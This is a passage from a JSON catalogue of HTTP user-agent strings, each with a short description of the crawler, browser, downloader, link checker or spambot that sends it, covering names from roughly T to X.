(coltfrance.com)\",\"ua\":\"toCrawl\\/UrlDispatcher\"},{\"description\":\"Topodia search engine and personal information assistant (in development)\",\"ua\":\"Topodia\\/1.2-dev (Topodia - Crawler for HTTP content indexing; http:\\/\\/www.topodia.com\\/; support@topodia.com)\"},{\"description\":\"Topos search (Russia) robot\",\"ua\":\"TOPOS robot\\/1.1 (http:\\/\\/www.topos.com.ua\\/)\"},{\"description\":\"Traazi! search (Germany) robot\",\"ua\":\"traazibot\\/testengine (+http:\\/\\/www.traazi.de)\"},{\"description\":\"Trailfire web collection and annotating system\",\"ua\":\"Trailfire-bot\\/0.7.1 (Nutch; http:\\/\\/lucene.apache.org\\/nutch\\/bot.html; nutch-agent@lucene.apache.org)\"},{\"description\":\"Trailfire web collection and annotating system\",\"ua\":\"Trailfire-bot\\/0.7.1 (Trailfire page content analyzer; http:\\/\\/trailfire.com; info@trailfire.com)\"},{\"description\":\"Trailfire web collection and annotating system\",\"ua\":\"Trailfire\\/0.7.1 (Nutch; http:\\/\\/lucene.apache.org\\/nutch\\/bot.html; nutch-agent@lucene.apache.org)\"},{\"description\":\"Trampelpfad Webkatalog spider\",\"ua\":\"Trampelpfad-Spider\"},{\"description\":\"Trampelpfad Webkatalog spider\",\"ua\":\"Trampelpfad-Spider-v0.1\"},{\"description\":\"Tricos meta tag validation\",\"ua\":\"tricosMetaCheck 1.2216-08-1999 (http:\\/\\/www.tricos.com\\/metacheck)\"},{\"description\":\"some bad user agent\",\"ua\":\"TSurf15a 11\"},{\"description\":\"Tulip Chain browser \\/ link checker for Dmoz.org directory\",\"ua\":\"TulipChain\\/5.x (http:\\/\\/ostermiller.org\\/tulipchain\\/) Java\\/1.x.1_0x (http:\\/\\/java.sun.com\\/) Linux\\/2.4.17\"},{\"description\":\"Tulip Chain browser \\/ link checker for Dmoz.org directory\",\"ua\":\"TulipChain\\/5.xx (http:\\/\\/ostermiller.org\\/tulipchain\\/) Java\\/1.x.1_0x (http:\\/\\/apple.com\\/) Mac_OS_X\\/10.2.8\"},{\"description\":\"Tumblr Tumblelogs RSS and news syndication crawler\",\"ua\":\"Tumblr\\/1.0 RSS syndication (+http:\\/\\/www.tumblr.com\\/) (support@tumblr.com)\"},{\"description\":\"Turnitin (ex SlySearch) robot for helping educational institutions prevent plagiarism\",\"ua\":\"TurnitinBot\\/x.x (http:\\/\\/www.turnitin.com\\/robot\\/crawlerinfo.html)\"},{\"description\":\"TurnPike Emporium Directory (207.67.198.x) link checking\",\"ua\":\"Turnpike Emporium LinkChecker\\/0.1\"},{\"description\":\"TutorGig tutorial search robot\",\"ua\":\"TutorGig\\/1.5 (+http:\\/\\/www.tutorgig.com\\/crawler)\"},{\"description\":\"TutorGig tutorial search robot\",\"ua\":\"Tutorial Crawler 1.4 (http:\\/\\/www.tutorgig.com\\/crawler)\"},{\"description\":\"Twiceler experimental web crawler\",\"ua\":\"Twiceler www.cuill.com\\/robots.html\"},{\"description\":\"Twiceler experimental web crawler\",\"ua\":\"Twiceler-0.9 http:\\/\\/www.cuill.com\\/twiceler\\/robot.html\"},{\"description\":\"File downloading component from Twisted Python\",\"ua\":\"Twisted PageGetter\"},{\"description\":\"Twitt(url)y URL tracking service for Twitter via Amazon Web Services\",\"ua\":\"Twitturly \\/ v0.x\"},{\"description\":\"Twotrees content filter\",\"ua\":\"Twotrees Reactive Filter V2.0\"},{\"description\":\"Tycoon - Hewlett-Packards distributed cluster solution robot\",\"ua\":\"Tycoon Agent\\/Nutch-1.0-dev\"},{\"description\":\"Tygo Search robot\",\"ua\":\"TygoBot\"},{\"description\":\"Tygo Search robot\",\"ua\":\"TygoProwler\"},{\"description\":\"UCMore -  IE navigation and search plugin\",\"ua\":\"UCmore\"},{\"description\":\"UCMore -  IE navigation and search plugin\",\"ua\":\"UCMore Crawler App\"},{\"description\":\"Ucweb mobile browser\",\"ua\":\"UCWEB5.1\"},{\"description\":\"user agent - maybe UdmSearch (see UdmSearch) ?\",\"ua\":\"UDM\"},{\"description\":\"UdmSearch \\/ MySearch (now mnoGoSeach) offline browser\\/search client\",\"ua\":\"UdmSearch\\/3.1.x\"},{\"description\":\"University of Iowa Crawler- possibly MySpiders\",\"ua\":\"UIowaCrawler\\/1.0\"},{\"description\":\"UKWizz search robot\",\"ua\":\"UKWizz\\/Nutch-0.8.1 (UKWizz Nutch crawler; http:\\/\\/www.ukwizz.com\\/)\"},{\"description\":\"Infoseek robot\",\"ua\":\"Ultraseek\"},{\"description\":\"Unknown mail harvester\\/spambot from 80.58.13.xxx (proxycache.rima-tde.net)\",\"ua\":\"Under the Rainbow 2.2\"},{\"description\":\"DNS Right - Online DNS tools\",\"ua\":\"unknownght.com Web Server IIS vs Apache Survey. See Results at www.DNSRight.com\"},{\"description\":\"Unknown robot from University of Toronto (128.100.5.1xx)\",\"ua\":\"UofTDB_experiment (leehyun@cs.toronto.edu)\"},{\"description\":\"Mobile phone browser\",\"ua\":\"UP.Browser\\/3.01-IG01 UP.Link\\/3.2.3.4\"},{\"description\":\"Updated! search robot\",\"ua\":\"updated\\/0.1-alpha (updated crawler; http:\\/\\/www.updated.com; crawler@updated.com)\"},{\"description\":\"Updated! search robot\",\"ua\":\"updated\\/0.1beta (updated.com; http:\\/\\/www.updated.com; crawler@updated.om)\"},{\"description\":\"Handspring (PalmOS powered cellphone) Treo Blazer browser\",\"ua\":\"UPG1 UP\\/4.0 (compatible; Blazer 1.0)\"},{\"description\":\"UptimeBot.com online link popularity check\",\"ua\":\"Uptimebot\"},{\"description\":\"UptimeBot.com online link popularity check\",\"ua\":\"UptimeBot(www.uptimebot.com)\"},{\"description\":\"URI::Fetch - client for fetching HTTP pages and syndication feeds (RSS Atom)\",\"ua\":\"URI::Fetch\\/0.06\"},{\"description\":\"Innerprise URL Spider Pro (now ES.NET) web indexing \\/ site searching tool\",\"ua\":\"URL Spider Pro\\/x.xx (innerprise.net)\"},{\"description\":\"URLBase - Internet shortcut manager\",\"ua\":\"URLBase\\/6.x\"},{\"description\":\"URLBlaze file sharing link toolkit\",\"ua\":\"URLBlaze\"},{\"description\":\":\\/\\/URLFAN news crawler\",\"ua\":\"urlfan-bot\\/1.0; +http:\\/\\/www.urlfan.com\\/site\\/bot\\/350.html\"},{\"description\":\"URLGetFile downloading tool\",\"ua\":\"URLGetFile\"},{\"description\":\"Innerprise URL Spider Pro (now ES.NET) web indexing \\/ site searching tool\",\"ua\":\"URL_Spider_Pro\\/x.x\"},{\"description\":\"Innerprise URL Spider Pro (now ES.NET) web indexing \\/ site searching tool\",\"ua\":\"URL_Spider_Pro\\/x.x+(http:\\/\\/www.innerprise.net\\/usp-spider.asp)\"},{\"description\":\"BoardReader search favicon fetcher\",\"ua\":\"User-Agent:  BoardReader Favicon Fetcher \\/1.0 info@boardreader.com\"},{\"description\":\"BoardReader search image fetcher\",\"ua\":\"User-Agent:  BoardReader Image Fetcher \\/1.0 info@boardreader.com\"},{\"description\":\"ljpic.com - LiveJournal picture feed search\",\"ua\":\"User-Agent:  LjSEEK Picture-Bot \\/1.0 contact@ljseek.com\"},{\"description\":\"FileHeap download manager\",\"ua\":\"User-Agent: FileHeap! file downloader (http:\\/\\/www.fileheap.com)\"},{\"description\":\"Malformed UA header from some guestbook\\/forum spammer\",\"ua\":\"User-Agent: Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\"},{\"description\":\"Skizzle search robot\",\"ua\":\"User-Agent: Mozilla\\/4.0 (SKIZZLE! Distributed Internet Spider v1.0 - www.SKIZZLE.com)\"},{\"description\":\"unknown robot (reads robots.txt) or sitegrabber. From different IPs- ie.: 62.98.8.xx (wind.it)\",\"ua\":\"user-agent=Mozilla\\/3.01Gold\"},{\"description\":\"University of Sydney NLP Spider for research in Natural Language Processing \",\"ua\":\"USyd-NLP-Spider (http:\\/\\/www.it.usyd.edu.au\\/~vinci\\/bot.html)\"},{\"description\":\"Web Thief Site Grabber\",\"ua\":\"UtilMind HTTPGet\"},{\"description\":\"WebWasher ad filter\",\"ua\":\"Utopia WebWasher 3.0\"},{\"description\":\"uTorrent BitTorrent client\",\"ua\":\"uTorrent\\/1500\"},{\"description\":\"Unknown bad behaving bot via Road Runner - see link\",\"ua\":\"VadixBot\"},{\"description\":\"WiseGuys WAP pages robot\",\"ua\":\"Vagabondo-WAP\\/2.0 (webcrawler at wise-guys dot nl; http:\\/\\/webagent.wise-guys.nl\\/)\\/1.0 Profile\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Vagabondo\\/1.x MT (webagent@wise-guys.nl)\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Vagabondo\\/2.0 MT\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Vagabondo\\/2.0 MT (webagent at wise-guys dot nl)\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Vagabondo\\/2.0 MT (webagent@NOSPAMwise-guys.nl)\"},{\"description\":\"WiseGuys robot Netherland - 82.94.216.2\",\"ua\":\"Vagabondo\\/3.0 (webagent at wise-guys dot nl)\"},{\"description\":\"Open Directory link checking from Vakes\",\"ua\":\"Vakes\\/0.01 (Vakes; http:\\/\\/www.vakes.com\\/; search@vakes.com)\"},{\"description\":\"unknown level3.net (63.214.172.xxx) robot\",\"ua\":\"VayalaCreep-v0.0.1 (haploid@haploid.com)\"},{\"description\":\"unknown level3.net (63.214.172.xxx) robot\",\"ua\":\"Vayala|Creep-v0.0.1 (codepoet@wildties.com)\"},{\"description\":\"iNet Grabber - Internet content grabber\",\"ua\":\"vb wininet\"},{\"description\":\"Versus Project robot - Comparing methods for near-uniform URL sampling\",\"ua\":\"versus 0.2 (+http:\\/\\/versus.integis.ch)\"},{\"description\":\"Unknown robot from EPFL University Switzerland (128.178.155.xxx)\",\"ua\":\"versus crawler eda.baykan@epfl.ch\"},{\"description\":\"Verticrawl - Semantic search engine solution (French)\",\"ua\":\"Verticrawlbot\"},{\"description\":\"VeryGoodSearch.com link submission checking\",\"ua\":\"VeryGoodSearch.com.DaddyLongLegs\"},{\"description\":\"Verzamelgids NL link checking robot\",\"ua\":\"verzamelgids.nl - Networking4all Bot\\/x.x\"},{\"description\":\"Verzamelgids NL link checking robot\",\"ua\":\"Verzamelgids\\/2.2 (http:\\/\\/www.verzamelgids.nl)\"},{\"description\":\"Unknown robot from Yahoo Norway\",\"ua\":\"Vespa Crawler\"},{\"description\":\"Sidewinder G2 anti-virus and anti-spyware protection\",\"ua\":\"virus_detector (virus_harvester@securecomputing.com)\"},{\"description\":\"Visbot crawler for a search software under development\",\"ua\":\"VisBot\\/2.0 (Visvo.com Crawler; http:\\/\\/www.visvo.com\\/bot.html; bot@visvo.com)\"},{\"description\":\"Some IE toolbar made with Visicom Media Dynamic Toolbar software\",\"ua\":\"Visicom Toolbar\"},{\"description\":\"Vision research lab's Cortina - content based image retrieval (128.111.60.xx)\",\"ua\":\"Vision Research Lab image spider at vision.ece.ucsb.edu\"},{\"description\":\"VLC - Cross-platform media player and streaming server\",\"ua\":\"VLC media player - version 0.8.5 Janus - (c) 1996-2006 the VideoLAN team\"},{\"description\":\"VM - Vertical Search Engine (China)\",\"ua\":\"VMBot\\/0.x.x (VMBot; http:\\/\\/www.VerticalMatch.com\\/; vmbot@tradedot.com)\"},{\"description\":\"Vortex Web Indexing Robot for a study on  internet link distribution\",\"ua\":\"Vortex\\/2.2 (+http:\\/\\/marty.anstey.ca\\/robots\\/vortex\\/)\"},{\"description\":\"Kosmix health, auto and travel search crawler (204.14.48.x \\/ 38.113.234.xxx)\",\"ua\":\"voyager-hc\\/1.0\"},{\"description\":\"Kosmix health, auto and travel search crawler (204.14.48.x \\/ 38.113.234.xxx)\",\"ua\":\"voyager\\/1.0\"},{\"description\":\"Kosmix health, auto and travel search crawler (204.14.48.x \\/ 38.113.234.xxx)\",\"ua\":\"voyager\\/2.0 (http:\\/\\/www.kosmix.com\\/html\\/crawler.html)\"},{\"description\":\"Vivisimo search crawler (206.210.89.xxx)\",\"ua\":\"VSE\\/1.0 (testcrawler@hotmail.com)\"},{\"description\":\"Vivisimo search crawler (206.210.89.xxx)\",\"ua\":\"VSE\\/1.0 (testcrawler@vivisimo.com)\"},{\"description\":\"Verity vspider indexing software\",\"ua\":\"vspider\"},{\"description\":\"Verity vspider indexing software\",\"ua\":\"vspider\\/3.x\"},{\"description\":\"VWBot - MetaQuerier Crawler for the MetaQuerier project at the University of Illinois\",\"ua\":\"VWBOT\\/Nutch-0.9-dev (VWBOT Nutch Crawler; http:\\/\\/vwbot.cs.uiuc.edu;+vwbot@cs.uiuc.edu\"},{\"description\":\"W3C Link Checker\",\"ua\":\"W3C-checklink\\/3.x.x.x libwww-perl\\/5.xx\"},{\"description\":\"W3C Link Checker\",\"ua\":\"W3C-checklink\\/4.x [4.xx] libwww-perl\\/5.xxx\"},{\"description\":\"WebCon - the Libwww command line tool\",\"ua\":\"W3C-WebCon\\/5.x.x libwww\\/5.x.x\"},{\"description\":\"W3C Line Mode (character based Web browser)\",\"ua\":\"W3CLineMode\\/5.4.0 libwww\\/5.x.x\"},{\"description\":\"Unknown link checking using Libwww via Korea Telecom (221.148.44.xxx)\",\"ua\":\"W3CRobot\\/5.4.0 libwww\\/5.4.0\"},{\"description\":\"W3C HTML-Code Validator\",\"ua\":\"W3C_Validator\\/1.xxx libwww-perl\\/5.xx\"},{\"description\":\"w3m Linux pager \\/ text-based browser\",\"ua\":\"w3m\\/0.x.xx\"},{\"description\":\"W3 Site Search (Germany) search engine solution\",\"ua\":\"W3SiteSearch Crawler_v1.1 http:\\/\\/www.w3sitesearch.de\"},{\"description\":\"Wadain (Japan) Blog \\/ RSS search crawler\",\"ua\":\"wadaino.jp-crawler 0.2 (http:\\/\\/wadaino.jp\\/)\"},{\"description\":\"Wanna-Be text mode browser\",\"ua\":\"WannaBe (Macintosh; PPC)\"},{\"description\":\"WapOnWindows WAP browser for PCs\",\"ua\":\"WapOnWindows 1.0\"},{\"description\":\"Watchfire WebXM intranet solution\",\"ua\":\"Watchfire WebXM 1.0\"},{\"description\":\"WAVcheck - Simple Vendor Discovery Tool for detecting client-side tags from web analytics vendors\",\"ua\":\"WAVcheck 1.0.x (http:\\/\\/www.webbanalys.se\\/apps\\/WAVcheck\\/)\"},{\"description\":\"Wavefire local search community engine (64.141.15.1xx)\",\"ua\":\"Wavefire\\/0.8-dev (Wavefire; http:\\/\\/www.wavefire.com; info@wavefire.com)\"},{\"description\":\"Waypath blog discovery engine robot\",\"ua\":\"Waypath development crawler - info at waypath dot com\"},{\"description\":\"Waypath blog discovery engine robot\",\"ua\":\"Waypath Scout v2.x - info at waypath dot com\"},{\"description\":\"WDG HTML-code validator\",\"ua\":\"WDG_Validator\\/1.1\"},{\"description\":\"Datafire.com's Web Image Collector (graphics downloading tool)\",\"ua\":\"Web Image Collector\"},{\"description\":\"Relsoft link checking software\",\"ua\":\"Web Link Validator 1.5\"},{\"description\":\"RankMeter ranking software\",\"ua\":\"Web Snooper\"},{\"description\":\"Web-bekannt German web directory link checking\",\"ua\":\"web-bekannt (Version: 1.02, powered by www.internetservice-franken.de)\"},{\"description\":\"Web-bekannt German web directory link checking\",\"ua\":\"web-bekannt (Version: 1.02, powered by www.web-bekannt.de)\"},{\"description\":\"Unkown link or server checking from W\\u00fcrzburg University Germany (132.187.10.xx)\",\"ua\":\"Web-Bot V1.03\"},{\"description\":\"Unknown robot from 69.50.233.x (nectartech.com)\",\"ua\":\"Web-Robot\\/5.0 (en-US; web-robot.com\\/policy.html) Web-Robot Crawler\\/2.0.3\"},{\"description\":\"Web2Express \\/ Web2x - Open data searching tool\",\"ua\":\"web2express.org\\/Nutch-0.9-dev (leveled playing field; http:\\/\\/web2express.org\\/; info at web2express.org)\"},{\"description\":\"WebAlta search Russia crawler (85.21.201.xx)\",\"ua\":\"WebAlta Crawler\\/1.2.1 (http:\\/\\/www.webalta.ru\\/bot.html)\"},{\"description\":\"WebarooBot \\/ RufusBot from webaroo offline search service\",\"ua\":\"WebarooBot (Webaroo Bot; http:\\/\\/64.124.122.252\\/feedback.html)\"},{\"description\":\"WebarooBot \\/ RufusBot from webaroo offline search service\",\"ua\":\"WebarooBot (Webaroo Bot; http:\\/\\/www.webaroo.com\\/rooSiteOwners.html)\"},{\"description\":\"Yanasoft WebAuto website copier \\/ downloading tool\",\"ua\":\"WebAuto\\/3.4xxx (WinNT; I)\"},{\"description\":\"Web Bandit personal search software\",\"ua\":\"webbandit\\/4.xx.0\"},{\"description\":\"Amansoft WebBug web server protocol test\",\"ua\":\"WebBug\\/5.x\"},{\"description\":\"WebClipping.com - online news monitoring service\",\"ua\":\"Webclipping.com\"},{\"description\":\"WebCollage Syndicator graphics crawler\\/collector\",\"ua\":\"webcollage\\/1.xx\"},{\"description\":\"Quarterdecks WebCompass search tool\",\"ua\":\"WebCompass 2.0\"},{\"description\":\"WebCopier offline browser\",\"ua\":\"WebCopier vx.x\"},{\"description\":\"WebCopier offline browser\",\"ua\":\"WebCopier vx.xa\"},{\"description\":\"WebCorp linguistic search engine (UK)\",\"ua\":\"WebCorp\\/1.0\"},{\"description\":\"Webcrawl Search robot (64.40.105.xxx)\",\"ua\":\"webcrawl.net\"},{\"description\":\"Unix\\/Linux Web Downloader\",\"ua\":\"WebDownloader for X x.xx\"},{\"description\":\"Unknown robot from china-netcom.com\",\"ua\":\"Webdup\\/0.9\"},{\"description\":\"WingFlyer WebFetch website downloading tool\",\"ua\":\"WebFetch\"},{\"description\":\"webfetch - command line tool to fetch files via HTTP\",\"ua\":\"webfetch\\/5.x.x\"},{\"description\":\"Verso NetSpective WebFilter\",\"ua\":\"WebFilter Robot 1.0\"},{\"description\":\"Telemate.net NetSpective WebFilter\",\"ua\":\"WebFilter Robot 1.x\"},{\"description\":\"Webfind search robot\",\"ua\":\"WebFindBot(http:\\/\\/www.web-find.com)\"},{\"description\":\"Webglimpse search engine software\",\"ua\":\"Webglimpse 2.xx.x (http:\\/\\/webglimpse.net)\"},{\"description\":\"webGobbler - Online random image generator\",\"ua\":\"webGobbler\\/1.x.x\"},{\"description\":\"fake ?\",\"ua\":\"webhack\"},{\"description\":\"herbert.groot.jebbink.nl Web Images collage generator\",\"ua\":\"WebImages 0.3 ( http:\\/\\/herbert.groot.jebbink.nl\\/?app=WebImages )\"},{\"description\":\"WebLight web analyzer & link checker\",\"ua\":\"WebLight\\/4.x.x (support@illumit.com; http:\\/\\/www.illumit.com\\/Products\\/weblight\\/)\"},{\"description\":\"WebLink's link management system for HTTP- FTP and Mail hyperlinks\",\"ua\":\"Weblink's checker\\/\"},{\"description\":\"Los Alamos National Laboratoy weblog research project\",\"ua\":\"Weblog Attitude Diffusion 1.0\"},{\"description\":\"Unknown robot from Leipzig University (Germany) faculty for computer science\",\"ua\":\"webmeasurement-bot, http:\\/\\/rvs.informatik.uni-leipzig.de\"},{\"description\":\"WebMiner bulk file downloader\",\"ua\":\"WebMiner\\/x.x [en] (Win98; I)\"},{\"description\":\"WeBoX (Japan) - Browser and web collector\",\"ua\":\"WeBoX\\/0.xx\"},{\"description\":\"WebPix - picture downloading tool\",\"ua\":\"WebPix 1.0 (www.netwu.com)\"},{\"description\":\"Caesius WebQL - Custom robot\\/agent generator \\/ web extraction software\",\"ua\":\"WebQL\"},{\"description\":\"WebRACE - HTTP retrieval- annotation and caching engine\",\"ua\":\"WebRACE\\/1.1 (University of Cyprus- Distributed Crawler)\"},{\"description\":\"WebRankSpider experimental web crawler\",\"ua\":\"WebRankSpider\\/1.37 (+http:\\/\\/ulm191.server4you.de\\/crawler\\/)\"},{\"description\":\"Webreaper download manager\",\"ua\":\"WebReaper vx.x - www.webreaper.net\"},{\"description\":\"Webreaper download manager\",\"ua\":\"WebReaper [info@webreaper.net]\"},{\"description\":\"Webreaper download manager\",\"ua\":\"WebReaper [webreaper@webreaper.net]\"},{\"description\":\"Websearch Australia robot\",\"ua\":\"WebSearch.COM.AU\\/3.0.1 (The Australian Search Engine; http:\\/\\/WebSearch.COM.AU; Search@WebSearch.COM.AU)\"},{\"description\":\"Dortmund University WebSearchBench - Open source search software\",\"ua\":\"WebSearchBench WebCrawler v0.1(Experimental)\"},{\"description\":\"Dortmund University WebSearchBench - Open source search software\",\"ua\":\"WebSearchBench WebCrawler V1.0 (Beta)- Prof. Dr.-Ing. Christoph Lindemann- Universit\\u00e4t Dortmund- cl@cs.uni-dortmund.de- http:\\/\\/websearchbench.cs.uni-dortmund.de\\/\"},{\"description\":\"Web site downloading tool and offline browser (Japan)\",\"ua\":\"Website Explorer\\/0.9.x.x\"},{\"description\":\"Website eXtractor web site downloading tool\",\"ua\":\"Website eXtractor\"},{\"description\":\"Sootle web directory Website Worth ranking tool\",\"ua\":\"WebsiteWorth v1.0\"},{\"description\":\"Webspinne.de robot\",\"ua\":\"Webspinne\\/1.0 webmaster@webspinne.de\"},{\"description\":\"Websquash.com Search Engine robot \\/ link checking\",\"ua\":\"Websquash.com (Add url robot)\"},{\"description\":\"WebStat - Java statistical computing environment for the web\",\"ua\":\"WebStat\\/1.0 (Unix; beta; 20040314)\"},{\"description\":\"Webster - Rev. Healeys web crawler\",\"ua\":\"Webster v0.3 ( http:\\/\\/webster.healeys.net\\/ )\"},{\"description\":\"Websters Webmaster Archive (Germany) submission \\/ pad checking\",\"ua\":\"webster-internet.de pad browser\"},{\"description\":\"WebStripper download manager\",\"ua\":\"WebStripper\\/2.xx\"},{\"description\":\"WebTrafficExpress IBM server software\",\"ua\":\"WebTrafficExpress\\/x.0\"},{\"description\":\"Web Trends link analyzer\",\"ua\":\"WebTrends\\/3.0 (WinNT)\"},{\"description\":\"The Stanford WebBase Project crawler\",\"ua\":\"WebVac (webmaster@pita.stanford.edu)\"},{\"description\":\"webval - Python link checking tool\",\"ua\":\"WebVal\\/1.0\"},{\"description\":\"Webverzeichnis.de (Germany) directory robot\",\"ua\":\"Webverzeichnis.de - Telefon: 01908 \\/ 26005\"},{\"description\":\"Web Vulnerability Crawler\",\"ua\":\"WebVulnCrawl.unknown\\/1.0 libwww-perl\\/5.803\"},{\"description\":\"Studio Net.Idea's Web Watcher Monitor robot\",\"ua\":\"WebWatcherMonitor\\/2.01\"},{\"description\":\"WebZip offline browser\",\"ua\":\"WebZIP\\/x.x (http:\\/\\/www.spidersoft.com)\"},{\"description\":\"Unknown spam bot \\/ harvester (62.163.**.** \\/ 62.194.**.*)\",\"ua\":\"Wells Search II\"},{\"description\":\"Some spam bot- see link\",\"ua\":\"WEP Search 00\"},{\"description\":\"wwIPStuff - Internet client tools for Visual FoxPro\",\"ua\":\"West Wind Internet Protocols 4.xx\"},{\"description\":\"IBM's Almaden Research robot (Clever search project)\",\"ua\":\"WFARC\"},{\"description\":\"GNU wget - file downloader\",\"ua\":\"Wget\\/1.x(.x)GNU wget http:\\/\\/www.gnu.org\\/software\\/wget\\/wget.html - file downloader\"},{\"description\":\"GNU wget - file downloader\",\"ua\":\"Wget\\/1.x+cvs-stable (Red Hat modified)\"},{\"description\":\"GNU wget - file downloader\",\"ua\":\"Wget\\/1.x.x+cvs\"},{\"description\":\"Whatsup Gold network monitor\",\"ua\":\"Whatsup\\/x.x\"},{\"description\":\"WhatUSeek \\/ Chubba robot\",\"ua\":\"whatUseek_winona\\/3.0\"},{\"description\":\"WhizBang! Labs (closed since May 2002) information extraction robot\",\"ua\":\"WhizBang! Lab\"},{\"description\":\"some download agent\",\"ua\":\"Wildsoft Surfer\"},{\"description\":\"Twotrees crawler\",\"ua\":\"Willow Internet Crawler by Twotrees V2.1\"},{\"description\":\"unknown robot from gw.ocg-corp.com (209.126.176.x)\",\"ua\":\"WinampMPEG\\/2.00 (larbin@unspecified.mail)\"},{\"description\":\"Super Affiliate Tracker agent by Wincer Song\",\"ua\":\"WincerSong Agent v1.0\"},{\"description\":\"Windows Media Player 10\",\"ua\":\"Windows-Media-Player\\/10.00.00.xxxx\"},{\"description\":\"Nicksoft WinGet download manager\",\"ua\":\"WinGet 1.1\"},{\"description\":\"Example code for a WinHTTP C++ library crawler\",\"ua\":\"WinHTTP Example\\/1.0\"},{\"description\":\"Wink beta search robot (64.13.136.x)\",\"ua\":\"WinkBot\\/0.06 (Wink.com search engine web crawler; http:\\/\\/www.wink.com\\/Wink:WinkBot; winkbot@wink.com)\"},{\"description\":\"WinPodder - Podcast player and RSS reader\",\"ua\":\"WinPodder (http:\\/\\/winpodder.com)\"},{\"description\":\"WinWap - Windows PC WAP browser\",\"ua\":\"WinWAP\\/3.x (3.x.x.xx; Win32) (Google WAP Proxy\\/1.0)\"},{\"description\":\"Yammba web directory (Germany) link checking\",\"ua\":\"Wir sind die Borg (Version: 1.03, Sie wurden Assimiliert +http:\\/\\/www.yammba.com\\/suchmaschine\\/bot.html)\"},{\"description\":\"WIRE crawler used by the University of Pisa - Italy\",\"ua\":\"WIRE\\/0.11 (Linux; i686; Bot,Robot,Spider,Crawler,aromano@cli.di.unipi.it)\"},{\"description\":\"WIRE - Web information retrieval environment crawler\",\"ua\":\"WIRE\\/0.x (Linux; i686; Bot,Robot,Spider,Crawler)\"},{\"description\":\"Korea Wisenut robot\",\"ua\":\"WISEbot\\/1.0 (WISEbot@koreawisenut.com; http:\\/\\/wisebot.koreawisenut.com)\"},{\"description\":\"Wisewire domain checker (Discontinued)\",\"ua\":\"WiseWire-Spider2\"},{\"description\":\"WISH academic research project for link checking\",\"ua\":\"wish-project (http:\\/\\/wish.slis.tsukuba.ac.jp\\/)\"},{\"description\":\"Wordchamp web page vocabulary \\/ translation robot\",\"ua\":\"WordChampBot\"},{\"description\":\"WordPress personal Blog publishing platform\",\"ua\":\"WordPress\\/x.x.x.x PHP\\/4.x.xx\"},{\"description\":\"WORIO (beta) search for computer scientists and programmers using Heritrix open-source crawler\",\"ua\":\"worio heritrix bot (+http:\\/\\/worio.com\\/)\"},{\"description\":\"WORIO (beta) search for computer scientists and programmers via Amazon Web Services\",\"ua\":\"woriobot ( http:\\/\\/www.worio.com\\/)\"},{\"description\":\"Entireweb Search robot (62.13.25.xxx)\",\"ua\":\"WorldLight\"},{\"description\":\"unknown link checking (from 4.18.57.126) ?\",\"ua\":\"WorQmada\\/1.0\"},{\"description\":\"Wotbox spider\",\"ua\":\"Wotbox\\/alpha0.6 (bot@wotbox.com; http:\\/\\/www.wotbox.com)\"},{\"description\":\"Wotbox spider\",\"ua\":\"Wotbox\\/alpha0.x.x (bot@wotbox.com; http:\\/\\/www.wotbox.com) Java\\/1.4.1_02\"},{\"description\":\"WebSearchBench crawler from Dortmund University- Germany\",\"ua\":\"WSB WebCrawler V1.0 (Beta)- cl@cs.uni-dortmund.de\"},{\"description\":\"WebSearchBench crawler from Dortmund University- Germany\",\"ua\":\"WSB, http:\\/\\/websearchbench.cs.uni-dortmund.de\"},{\"description\":\"WUME Lab's web crawler (128.180.121.xxx)\",\"ua\":\"wume_crawler\\/1.1 (http:\\/\\/wume.cse.lehigh.edu\\/~xiq204\\/crawler\\/)\"},{\"description\":\"Wusage log-file analysis\",\"ua\":\"Wusage\\/x.0@boutell.com\"},{\"description\":\"WWLib - Wolverhampton Univerity Web Library for classifying web documents\",\"ua\":\"Wwlib\\/Linux\"},{\"description\":\"WWSBOT web server version checker\",\"ua\":\"WWSBOT 1.x [--- http:\\/\\/www.analyzer.nu ---]\"},{\"description\":\"Perl web page fetching module\",\"ua\":\"WWW-Mechanize\\/1.1x\"},{\"description\":\"Arianna robot\",\"ua\":\"www.arianna.it\"},{\"description\":\"Business-Socket.com link checking ?\",\"ua\":\"www.business-socket.com registry verify\\/1.x\"},{\"description\":\"The DoWeb UK Business directory link checking\",\"ua\":\"www.doweb.co.uk crawler\"},{\"description\":\"www4mail - web navigation & database search by e-mail\",\"ua\":\"www4mail\\/2.x libwww-FM\\/2.14 (Unix; I)\"},{\"description\":\"WWWC Updating check of Web pages. (Japanese only)\",\"ua\":\"WWWC\\/1.0x\"},{\"description\":\"World Wide Weasel Germany robot\",\"ua\":\"WWWeasel Robot v1.00 (http:\\/\\/wwweasel.de)\"},{\"description\":\"WWWoffle download manager\",\"ua\":\"WWWOFFLE\\/2.x\"},{\"description\":\"Unknown robot from CIS at Munich University\",\"ua\":\"wwwster\\/1.x (Beta- mailto:gue@cis.uni-muenchen.de)\"},{\"description\":\"wxDownload Fast (wxDFast) open source download manager\",\"ua\":\"wxDownload Fast\"},{\"description\":\"Arexera (Germany) crawler software\",\"ua\":\"X-Crawler \"},{\"description\":\"Xaldon WebSpider offline browser\",\"ua\":\"Xaldon WebSpider\"},{\"description\":\"Xenu link checker\",\"ua\":\"Xenu Link Sleuth 1.xx\"},{\"description\":\"Xenu link checker\",\"ua\":\"Xenu's Link Sleuth 1.x[a-z]\"},{\"description\":\"XerKa text mining and information retrieval software\",\"ua\":\"Xerka WebBot v1.0.0 [UPVOpenDir]\"},{\"description\":\"xine - free Linux \\/ OS\\/2 multimedia player\",\"ua\":\"xine\\/1.0\"},{\"description\":\"XIRQ search (beta) robot (70.86.206.1xx)\",\"ua\":\"xirq\\/0.1-beta (xirq; http:\\/\\/www.xirq.com; xirq@xirq.com)\"},{\"description\":\"GPath \\/ XMLSlurp - Expression language for tree structured data\",\"ua\":\"XMLSlurp\\/0.1 libwww-perl\\/5.805\"},{\"description\":\"Metamark URL Shorten Service\",\"ua\":\"XRL\\/2.00b1 (Linux; i686; en-us) (+http:\\/\\/metamark.net\\/about)\"},{\"description\":\"Xylix Retrieval System software\",\"ua\":\"Xylix\"},{\"description\":\"Inria Crawler\",\"ua\":\"xyro_(xcrawler@cosmos.inria.fr)\"},{\"description\":\"Yahoo Search Japan robot 